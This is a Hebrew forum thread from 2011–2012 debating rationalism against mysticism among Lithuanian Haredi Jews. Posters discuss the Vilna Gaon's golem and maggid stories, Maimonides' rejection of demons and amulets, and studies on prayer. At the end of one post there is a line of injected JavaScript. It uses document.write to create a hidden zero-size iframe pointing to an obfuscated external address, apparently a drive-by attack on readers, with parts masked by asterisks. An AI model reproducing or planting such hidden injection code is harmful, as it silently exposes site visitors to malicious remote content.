| נשלח ב-8/8/2011 13:57 |
|
| |
בין רציונליזם למיסטיקה
באישור ההנהלה ובעזר החונן לאדם דעת.באשכול הקישורים לכתבות/מובאות, הביא הרב ספרן קישור לשיחה של עו"ד הלברטל עם ירון לונדון ומוטי קירשנבאום. הלברטל שהתחרד בשנים האחרונות ומשתתף בשיעורו של הרב אלישיב, מציג את עצמו כמקורבו של הרב. בראיון הוא תקף בחריפות את תופעת הבאבות מזוויות שונות. חיציו העיקריים מופנים כלפי מה שהוא מכנה יהדות מיסטית. הערת אגב. כחלק מביקורתו הוא טוען כי בעבר העמדנו (מי?) לעולם את איינשטיין ופרויד ושואל רטורית, על מה תהיה גאוותנו בדורות הבאים. לא הבנתי בדיוק על מה לדעתו תהיה גאוותה של החרדיות הרציונלית, כהגדרתו, בדורות הבאים. בחוגים הליטאיים אוהבים מאד לזלזל במיסטיקה ולהשתבח ברציונליזם. כדאי לבחון האם יש כיסוי לשביעות הרצון העצמית הזאת. למיטב שיפוטי, כמי שגדל, התחנך ומשתייך לחברה זו, אין לכך שום בסיס עובדתי. הדבר היחיד שחברה זו משלמת כמס שפתיים לרציונליזם הוא הרחקת העדות. בשלב מסוים, בדרך כלל בדור האחרון, פסקו כל התופעות המיסטיות. כך תופסים שתי ציפורים במכה. א. לא נאלצים להתמודד עם עובדות הנוגדות את השכל הישר ואת החשיבה הרציונלית. ב. אפשר לפשוט טלפיים ולומר ראו רציונליים אנו. מה לעשות, השכל וההיגיון אינם אמורים להיות תחומים בזמן או בפרסונה. אין שום סיבה כי מה שמכונה היום או ביחס לאיש פלוני בלעג ובוז מיסטיקה, יזכה להתייחסות אחרת כאשר מדובר בדורות קודמים או באיש שאנו חפצים ביקרו. את כל המופתים התנכיים והחזליים הם מקבלים כפשוטם והמעיז לפקפק בפשוטם של דברים, כדעת כמה מרבותינו הראשונים, מוקע כאפיקורס. בשולחן ערוך (הספרדי) הלכות מעונן ומכשף אבן העזר קעט סעיף ו "מי שנשכו עקרב מותר ללחוש עליו ואפילו בשבת, ואע"פ שאין הדבר מועיל כלום". ידועים דברי הגר"א (האשכנזי) בביאורו (סקי"ג) שזו דעת הרמב"ם "אבל כל הבאים אחריו חלקו עליו, שהרי הרבה לחשים נאמרו בגמרא. והוא נמשך אחר הפילוסופיה ולכן כתב שכשפים ושמות ולחשים וקמיעות הכל הוא שקר. אבל כבר הכו אותו על קדקדו שהרי מצינו הרבה מעשיות בגמ' ע"פ שמות וכשפים... כאן הוא מביא רשימת מקורות ביניהם הסיפור הידוע על ר"ח ור"א דאיברו עיגלא תילתא... והרבה כיוצא, להוכחת עמדתו. והתורה העידה ויהיו תנינים. ועיין זוהר שם וכן קמיעין בהרבה מקומות ולחשים רבו מלספר. והפילוסופיא הטתו ברוב לקחה לפרש הגמרא הכל בדרך הלייצי ולעקור אותן מפשטן וח"ו איני מאמין בהם ולא מהם ולא מהמונם, אלא כל הדברים הם כפשטן. אלא שיש בהם פנימיות לא פנימיות של בעלי הפילוסופיא שהם חיצוניות, אלא של בעלי האמת" הגר"א עצמו, כידוע, לא טמן ידו באבנטו. כמסופר על ידי תלמידו הגר"ח מוואלוזין בהקדמתו לספרא דצניעותא, "ואמרת׳ לו מעתה הלא אינו דבר גדול ופלא כ״כ לברוא גולם, השיב כי באמת פעם אחת התחלתי לברוא גולם ובעודי באמצע עשייתו חלף ועבר תמונה אחת על ראשי והפסקתי מלעשותו עוד, כי אמרתי מסתמא מן השמים מנעוני לפי רכות שני אז. ושאלתיו בן כמה היה אז והשיב שהיה קודם י״ג שנה. פאתטי עד כאב. יש שם עוד כהנה וכהנה אודות "המגידים". "שמעתי מפיו הק׳ שפעמים רבות השכימו לפתחו כמה מגידים מן השמים בשאלתם ובקשתם שרוצים למסור לו רזין דאורייתא בלא שום עמל ולא הטה אזנו אליהם כלל וא׳ מן המגידים הפציר בו מאד עכ״ז לא הביט אל מראהו הגדול וענה ואמר לו איני רוצה שתהיי השגתי בתורתו ית״ש ע"י שום אמצעי כלל וכלל רק עיניי נשואות לו ית״ש מה שרוצה לגלות לי וליתן חלקי בתורתו ית"ש בעמלי אשר עמלתי בכל כחי הוא ית״ש יתן לי חכמה מפיו דעת ותבונה שיתן לי לב מבין וכליותי יעשו כשתי מעיינות ואדע כי מצאתי חן בעיניו ואיני רוצה אלא ממה שבתוך פיו וההשגות ע"י המלאכים המגידים ושרי התורה אשר לא עמלתי ולא חכמתי אין לי בהם חפץ. ובדידי הוה עובדא ששלח רבינו אותי אצל אחי הקטן וגדול ממני בכל מילי דמטיב חסידא קדישא הגאון מוהר״ש זלמן זלה״ה לאמר לו בצווי משמו שלא יקבל שום מלאך מגיד אשר יבא אצלו כי בזמן לא כביר יבא אליו מלאך מגיד. ואמר אף כי מרן הב״י היה לו מגיד היה זה לפני ב׳ מאות שנה שהיו הדורות כתקנן והיה שרוי על אדמת הקדש, לא כן עתה שרבו המתפרצים ובפרט בחו״ל א"א כלל שיהיה כלו קדש קדשים בלי שום עירוב כלל ובפרט הגילויים אשר בלא תורה נפשו בחלה בהם ולא היו נחשבים אצלו כלל וכלל. בקיצור, תופעת המגידים חיה וקיימת ובועטת. יש רק הסתייגות ממתנות חינם וחשש ל"עירוב" כוחות לא רצויים. הגר"א הוא הסמכות התורנית וההשקפתית של ציבור רציונלי זה. האם אין הגרי"ש וכל גדולי התורה והציבור הליטאי מקבלים את עמדתו זו? וכי אינם מאמינים באמונה שלימה בכל סיפורי הבאבות הללו? וכי אינם מגדירים את הפיקפוק בהם כחירוף וגידוף ואפיקורסות? אין צורך להרחיק עד לגר"א. הציבור הליטאי מאמין בכל המכונה מיסטיקה. הוא קצת יותר בררן באישים להם הוא נותן את הקרדיט. אלא מאי, מסיבות שונות, לא מתאים להם להיות מתויגים כמיסטיקנים. הפתרון גאוני בפשטותו ונבזותו. מותחים קו דמיוני על תקופות (זה היה פעם) ואישים (רשימה מצומצמת ונבחרת). מה שמחוץ לקו הריהו מיסטיקה. מה שבפנים הוא עיקרי אמונה. כל הכופר דינו מבואר בשו"ע. אכן, כל המערכת הזאת נמצאת רק בשולי החיים ולא במרכזם, אך זהו חלק ממנגנון ההכחשה וההדחקה. בפועל, מאמינים בזה באמונה שלימה וכאמור, מגדירים את המפקפקים כאפיקורסים. אל תתייראו מן המיסטיקנים ולא ממי שאינם מיסטיקנים, אלא מהליטאים הצבועים, שדומים לרציונליים, שמעשיהם כמעשה מיסטיקנים ומבקשים שכר כרציונליים.
 |
|
|
|
|
| נשלח ב-22/10/2012 12:32 |
|
| |
הגר"א היה אדיר שבאדירים הוא הצליח לברא גולם שפרה ורבה.והוליד אלפי אלפים.
|
|
|
|
| נשלח ב-22/10/2012 11:59 |
|
| |
הוקפץ עקב דיון בנושא באשכול סמוך.
|
|
|
|
| נשלח ב-9/8/2011 21:30 |
|
| |
חחח בספר המדובר ביותר בעצכ"ח, יש נספח בסופו, מסוג ויכוחי ה"האם יש צנזורה בויקיפדיה? דיאלקטיקה אפיסטמולוגית אונתו-קונטינגנטית מאריסטו ועד איין ראנד" (אני יודע שאפיסטמולוגית דווקא כן קשור), על היחס במחקר לכוחה של תפילה. אז יש שם איזה עיסוק אקדמי בכתבה מ'הארץ' של אחד בשם בני מוזס. בכתבה בני מוזס מביא מחקר גדול שנעשה על כל מיני כוחות של ריפוי מרחוק (לאו דווקא כאלו שקשורות לאלוהים, לבטח לא בגירסה המונותאיסטית שלו), כולן הביאו לתועלת כלשהי. בהמשך הוא מאזכר עוד כמה וכמה מחקרים שנעשו ספציפית על תפילה לאלוהים, שחלקם הביאו תוצאות וחלקם לא. מוזס אינו מסיק את המסקנה המתבקשת שתפילה עוזרת והבה נבדוק השפעות של פרמטרים כמו מספר המתפללים ומשך התפילה על מידת השפעתה. למעשה הוא אפילו לועג לגישה כזו ומתייחס אליה בסרקזם ("תפילה היא אמונה והיא מעבר למדע" "האם אלוהים פועל באופן הסתברותי" וכיו"ב), הוא מעדיף לתלות את התוצאה בבעיות מתודולוגיות ו frauds. המחבר מבקר אותו על כך וטוען שאם תפילה עובדת מתבקש לבדוק אותה בפרמטרים שהוצעו. ישאל השואל: זוהי דוגמה קלאסית של מחקר שאיננו עומד בדרישת הרפליקציה (ודברים כאלו יש הרבה מאוד בפסיכולוגיה, בסופו של דבר אף צולע ואפילו לא סובל מבעיות לב [שנתונות הרבה יותר להשפעת פלסבו] לא נרפא אלא שבחלק מכמה מדדים סובייקטיביים חל שיפור מסוים שמובהק מבחינה סטטיסטית, ודברים קטנים כאלו יש בכל מיני מחקרים אזוטריים בתחום השפעות קטנות של מדדים קוגניטיביים ובמקרים כאלו בהם המחקר יוצא פעם כך ופעם אחרת אין הרבה לאיפה להתקדם עם זה - לא מבססים מדע על דברים כאלו, גם אם אי אפשר להצביע ספציפית על הסברם חילופיים בכל פעם ופעם)? עונה המחבר: במחקרים מסוימים התפילות עזרו, המחקרים שלא? כנראה זה בגלל כל מיני פרמטרים תיאולוגיים, או שאלוהים לא רצה, וכדומה. (וואו, עכשיו אני שם לב כמה מגוחכת הטענה שתפילה עוזרת מדעית אם אלוהים יכול לא לרצות בכל רגע נתון באופן שאת התפלגותו לא ניתן לחזות מראש בשום דרך) דא עקא, שאותה טענה רלבנטית גם לגבי השמאנים ועבודות האלילים מהמחקר הראשון... הרי התשובה הנוספת שהוא מביא בשם האתאיזם היא שאולי יש כוחות של ריפוי מרחוק, אנרגיות וצ'אקארות עוברות מהמתפלל למי שמתפללים עליו, אלא שהוא מבקר את ההסבר הזה כי זהו הסבר אד-הוק שנוצר כדי להתחמק מהמסקנות התיאולוגיות הנחרצות שיש לגזור מהמחקרים על כוחה של התפילה. ובכן, אם המחקר הראשון עוסק גם במתודות שאינן פועלות דרך אלוהים, האם לא זו המסקנה שיש לגזור ממנו?
טוב, בקצרה, מי שלא הבין: לכו למחקר הראשון של מוזס, ותתחילו ליישם את כל המאגיה משם. זה עובד, וזה בהכשר הרב הד"ר (שהרי לפי מסקנתו התקפה אך לא נכונה, ההבדל בין כישוף למדע לפי הרמב"ם שאין דבר כזה כוחות טומאה ושדים וכישופים הוא במידת היעילות שלהם. המסקנה תקפה כי היא נובעת מההנחות, אבל היא לא נכונה, והיא מופרכת מתוכה שכן מבחינת אנשי אותו הזמן הדברים האלו עבדו, כמו כל פסאודו מדע, כמו בסיפור בעלת האוב או המטות שהפכו לנחשים/תנינים, ולפי דבריו כל ביקורת מתודולוגית נוגעת לגדרי הגדרת כישוף מדאורייתא, שלא לדבר על אנשים שעוסקים במובהק בתיאוריות שלא הוכחו מדעית כמו רפואה סינית או הומיאופתיה או מכשפים שמצטטים הבלים של מכשפים קודמים כמו "שכבת זרע מאור הגוף והרגיל בבעילה שיער זקנו נושר" שהם בגדר מכשפה לא תחייה לכו"ע. בקיצור, ברור כי הנסיון לכפות רציונליות על כותבי התנ"ך שהאמינו בהחלט בכל המאגיה [אלא שהסתייגו ממנה], והחשיבה שלהם מדעית ורציונלית כמו שאני קרפיון אוסטרלי, יביא בשלב זה או אחר לבעיות ללא פיתרון ולפרדוקסים).
 |
|
|
|
|
| נשלח ב-9/8/2011 20:39 |
|
| |
המדע היום הרבה יותר עניו הוא מכיר במוגבלותיו הוא מבין שיש דברים שלעולם לא יובנו שהמוח האנושי מוגבל ויש דברים שאין להם הסבר. לכן כל הדיבור על רציונאליות ולגלוג על כל מה שלא נמדד במבחנה הוא כבר מזמן לא באופנה יש רפואה משלימה יש הכרה שלנפש השפעה על הגוף ומתגלים כל הזמן דברים חדשים. פעם חשבו שהמדע והקדמה האנושית הוא המשיח החדש שיביא לנו את הגאולה השלמה אבל מאז זרמו הרבה מים בירקון והגיע הזמן להחליף דיסקט או HD במוח.
|
|
|
|
| נשלח ב-9/8/2011 19:51 |
|
| |
דייר, אנשים לא מרוצים בחלקם, כמאז ומתמיד. זה לא אומר שיש משהו מעבר.
|
|
|
|
| נשלח ב-9/8/2011 18:42 |
|
| |
האם יש הבדל מהותי בין גורל הגר"א לגורל האגרות קודש?
|
|
|
|
| נשלח ב-9/8/2011 18:36 |
|
| |
התופעה הזאת של הניו אייג' ורייקי ותקשור ושלל תורות רוחניות שוטפת את כל העולם כל המטריאליזם של המאה התשע עשרה מזמן פשט את הרגל. המדע המודרני הוא משיח שקר שהכזיב כמו הרבה משיחי שקר לפניו ואנשים רוצים את מה שמעבר זה תהליך כלל עולמי שגם אנחנו מתמזגים בו.
|
|
|
|
| נשלח ב-9/8/2011 17:50 |
|
| |
מיימוני,
למה החלומות/הזיות/חוויות/סוגסטיות/דמיונות על אינטראקציה עם השדים על נהר הפרת, אינם מעידים על קיומם של כאלו כשם שהחלומות/הזיות/חוויות/סוגסטיות/דמיונות תחת הר סיני, על הכרמל, על הר הבית, בענתות, על נהר כבר וכו' וכו' מעידות על קיומו של אלוהים ועל יחס התכנים אליו בדרך זו או אחרת? (ההוכחה האנתרופולוגית של דקארט לקיומו של אלוהים, הריאליזם המוסרי (או המתמטי, או האידיאי בכלל) המתבסס על האינטואיציוניזם [זה השם לעמדה שמיכאל אברהם מקדם בספר וכאן על דפי הפורום, שום דבר לא חדש. קצת לומדים ומגלים שגם בתחום זה טוחן אברהם קמח טחון ומביא עמדות שכבר נידונו בארוכה שלא בשם אומרן כאילו הוא ממציא גלגל כלשהו או מגלה אמריקה כלשהי])
דרך אגב לא הבנתי את הטיעון "אין שדים כי אין דברים שה' לא ברא וה' לא ברא שדים". מנין שהוא לא ברא שדים?
הרמב"ם אינו רציונליסט אלא אריסטוטלי. אינני רואה אצלו חשיבה ביקורתית. קבלה של אריסטו עם הסתייגויות בגלל דבר לא מבוקר אחר - הדת היהודית. באופן מקרי אריסטו אמר דברים מסוימים שנוגדים את התנ"ך. אם הוא רק היה מדבר על שדים ורוחות היינו מקבלים את המשפטים היפהפיים "ודע, שלא כמו כל הסכלים הבורים וההדיוטות שאומרים שאין שדים, או הכלאם ו(מלא את החסר), הנה החכמים האמיתיים טוענים שכן, ועל דרך ההוכחה השכלית (וכאן יגיע טיעון אריסטוטלי המבוסס על הנחות יסוד חסרות בסיס, כמו "כל תופעה צריכה שד, מכאן שיש שדים, ושדים מטבעם אוהבים בירה, זה בהגדרה, מ.ש.ל.")
 |
|
|
|
|
| נשלח ב-9/8/2011 15:54 |
|
| |
אני סבור שהיום אין כמעט הבדל בין ליטאים לחסידים וכולם מאמינים במיסטיקה .
המנגנון הנפשי של האמונה בדברים לא רציונליים מאד קשה להתרה והוא הופך להיות מדעי כמעט כי נותנים הקשר סיבה >תוצאה בין דבר לדבר כגון קופת העיר או 40 יום פרקי שירה או ברכה מבאבא או מרח"ק או הומאופאתיה או מח אחד וברגע שיש אצל האדם אפשרות לקשר הזה לא ימלט שיוצרו בלי סוף מופתים מדעיים,כי אם אחרי שקללתי באבא נודע שקרא לי אסון כולם ישייכוהו ישר לקללתי ולא לטבעיות של האסון או אפילו לחטאים אחרים שלי שמגיע עליהם עונש והרי שנוצרה הוכחה מדעית
האמונה בדיבוקים אינה לא רציונלית כי היא תופעה נפשית מוכרת שהיתה רווחת יותר בזמן שהיתה לה לגיטימיות כמו תופעות נפשיות אחרות [היסטריקה].
תוקן על ידי רוחדשה ב- 09/08/2011 15:56:47
|
|
|
|
| נשלח ב-9/8/2011 15:52 |
|
| |
| ביליצר כתב: |  | בוא נגדיר את הרציו,בעיקרון כל יהודי חרדי חייב להאמין ביג עיקרים [בכל הדורות האמינו]הלא רציונלים בשמם . כמובן שיש את בעל העיקרים שמצמצם את המספר. כל הנחיתים עם חיפוש אגנדה מצאו את זה במילה רציונליזם פלוס עוד כמה מילים יפות שתמצא אותם לאורכו ולרוחבו של הפורום.וזהו דתם. עכשיו אם נשאל האם שני רגליים[בכונה לא עיניים]בסימטריות הולכות וקופצות זה רציונלי בקיומו ,התשובה היא כן כי אני רואה אותם קיימים ,שדים זה רציונלי ?לא כי אני חכם ומפוקח ומקורי שלא הולך עם הזרם ופתי שמאמין לכל דבר.[אשריך ,איזה חכם אתה וואו ]זאת אומרת רציו זה ראיתי ,לא רציו זה לאע ראיתי , מחר יתפרסם מודעה בניו יורק טיימס , ה ו כ ח מדעית ,גיימס קלוגן היה בסהרה וראה להפתעתו הולכי על שתיים עם רגליים לא נורמטיביות קופצים נ נח נחמ וכו,ןפתאום נעלמים וחוזר חלילה,גיימס כחוקר מדען מוערך ,נחקר בדבר ונמצא דובר אמת ,המחקר קיבל גושפנקא מדעית ,ופתאום שומעים כל הרציונלים כמה בני תיירה שאומרים אהה שטויות ,עוד מחקר ,הרמבם הרי שלל את זה מכל וכל ,הרציונל מתאפק מלצחוק עליו וחושב בליבו ,אידיוט ,הוא מימי הביניים ,מאמין לרמבם ולא בחוקר ומדען מהולל. |
|
 |
|
|
|
|
|
| נשלח ב-9/8/2011 15:52 |
|
| |
ומכאן לשאלה הבאה: כל אותם גדולינו, נתברר כי טעו טעויות גסות בהבנת העולם הפיזי הסובב אותנו.
מה ההבדל בין טעויות גסות בעולם הפיזי לטעויות גסות בעולם הרוחני?
ולבר מכך, מה עם העברת המסורה? עם בזמנם הם קיבלו כ"עובדה" דברים שאין שום קשר בינם לבין המציאות, אולי באותה צורה הם קיבלו כ"עובדה" את כל המסורת. למין יציאת מצריים ועד למתן תורה.
טיעון המסורה, מתחיל ונגמר בערך כך: הרי לא ייתכן כי כל כך הרבה אנשים חכמים, יתחיל לפתע להאמין במשהו שלא קיבלו במסורה, ויקבלוהו כעובדה, וכן הלאה.
אלא שזהו טיעון המסתכל בעיניים שלנו. עיניים בהם אנו מתיימרים להעביר ביקורת לוגית ולקבל / לא לקבל טיעונים רק בגלל ההגיון שבהם (והעולם והפורום מוכיחים להפך) אך כאשר אנו יודעים כי בעיניהם, היו הרבה "עובדות" שהם קיבלו כאמיתות, שהיו פולקלור, פסאבדו מדע, מאגיה, ועוד מיני מוזרויות, לפתע טיעון המסורה, הרבה פחות חזק.
מה דעתכם?
|
|
|
|
| נשלח ב-9/8/2011 15:46 |
|
| |
והשאלה עדיין במקומה עומדת. מה ההבדל בין מי שמאמין שיש היום שדים רוחות וגלמים, לבין מי שמאמין היום, שהיו פעם, שדים רוחות וגלמים?
שניהם לא רציונאלים. הגריעותה של אלו האחרונים, שהם גם לא רציונאלים וגם עסוקים בהונאה עצמית.
|
|
|
|
| נשלח ב-9/8/2011 15:43 |
|
| |
| מיימוני כתב: |  | |
אדג
ברוך הבא אל הפורום
אני מכיר רק דרך אחת לבדוק את הטענה שלך, מה טיבם של סיפורי ועצות פולקלור בתלמוד. לבדוק אחד אחד. זה קצת הרבה, אבל זה אפשרי.
בוודאי שאפשר לסתור את הטענה שהם אינם רק פולקלור על ידי הצגת דוגמא אחת שאין לה ערך חינוכי.
אבל איני חולק עליך. ברור שאם חז"ל, שערכו את התלמוד, טרחו לכלול בו כל דבר שהוא, זה היה מפני שסברו שהוא חשוב. שיש בו תועלת. איני זוכר את דברי הרב שטיינזלץ כי לא קראתים זמן רב, אבל יתכן שגם הוא מסכים לכך. גם הוא (וגם אני) מחשיבים מאד את התלמוד ואיננו סבורים שבאו בו דברים "סתם". חלילה.
|
|
אני לא טוען שכל לחש כנגד שדים ועין הרע הוא מוסר השכל וחינוך עבור היהדות הטומן בחובו סודות התורה (ע"פ קבלה - כן, לא ע"פ פשט), הוא היה פשוט פרקטי. אני מדבר אודות אותם סיפורים ומעשיות [למשל פרק הספינה בב"ב, והדומה והדומה לדומה] שאינם פשוט גירסא בבלית להאחים גרים, אלא דבר בעל משמעות יהודית ותוכנית, גם אם עלינו להוציא את הדברים מפשוטם (כלומר, לטעון שהכותב לא התכוון לתאר כלל מציאות פיזית, אלא להעביר מסר תוכני). בכך, נוכל לצמצם בצורה מירבית את הסיפורים התמוהים שבתלמוד.
|
|
|
|
| נשלח ב-9/8/2011 15:12 |
|
| |
צענע וייתכן
צדקתם. אם הגר"א האמין באיזו נקודה שלא יצליח, והיה זקוק להסבר שמשמים לא מרשים לו, הרי הוא ידע שאי אפשר לעשות גולם. ומדוע שיחשוב כך אם הוא מאמין בלב שלם בתיאוריות של גולם? לפיכך, חוזרני בי.
המנגנון שמבאר כשלון על ידי "סירוב משמים" כפי שהדגים ירוחם בבדיחה שלו (לא הכרתי ונהניתי, האם מותר בט' באב? - במקום לומר תודה, מבקרים...), אם כן לא חל כאן. אם כי לדעתי הוא קיים ועובד מאד במקומות ובזמנים ואצל אנשים אחרים.
***
אדג
ברוך הבא אל הפורום
אני מכיר רק דרך אחת לבדוק את הטענה שלך, מה טיבם של סיפורי ועצות פולקלור בתלמוד. לבדוק אחד אחד. זה קצת הרבה, אבל זה אפשרי.
בוודאי שאפשר לסתור את הטענה שהם אינם רק פולקלור על ידי הצגת דוגמא אחת שאין לה ערך חינוכי.
אבל איני חולק עליך. ברור שאם חז"ל, שערכו את התלמוד, טרחו לכלול בו כל דבר שהוא, זה היה מפני שסברו שהוא חשוב. שיש בו תועלת. איני זוכר את דברי הרב שטיינזלץ כי לא קראתים זמן רב, אבל יתכן שגם הוא מסכים לכך. גם הוא (וגם אני) מחשיבים מאד את התלמוד ואיננו סבורים שבאו בו דברים "סתם". חלילה.
***
גילוי האמת
תודה על הטרחה בהבאת המקור. הכרתי רק ציטוט (אולי מהספר של לנדוי על הגר"א?). המקור אכן תמוה מאד. איך לא הכיר בעל הבית שיש כאן "קיא"? אולי מסתבר יותר שהמילה "הקיאו" כמו הצעתך אינה מתייחסת לתופעה של הקאה כפי שאנו משתמשים במילה זו היום, אלא בפליטה מהפה (יש לעיין איך משתמשים במילה זו באותן סוגיות שבהן מדברים על הקאה ואכילה שוב. אם נפרש גם שם שהדברים לא התעכלו ונראה כפי שהיו, זה מובן יותר איך אדם רעב מאד יוכל להחליט לאכלם, ושוב, האם שימוש הלשון בתלמוד זהה למקור? אולי יש טווח שימוש בשורש "להקיא" החל בפליטה ממה שרק נכנס לפה ונגע בבלוטות הטעם עד למה שנבלע (ונלעס כמסתבר) ונפלט שוב.
לכן הייתי מנחש שהכוונה היא שהגרא טעם ומייד הוציא מפיו ולא ניכר שינוי ברוב מה שניסה להכניס לפה.
לכן יש מקום להניח שניסה שוב ושוב. אולי האוכל לא גרם לא להקיא אלא רק לא מצא חן בעיניו, וניסה לכפות את עצמו לא להיכנע לגופו.
_____תוקנה טעות לוגית. חולשה עקב הצום?____________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");>
תוקן על ידי מיימוני ב- 09/08/2011 15:02:51
 |
|
|
|
|
|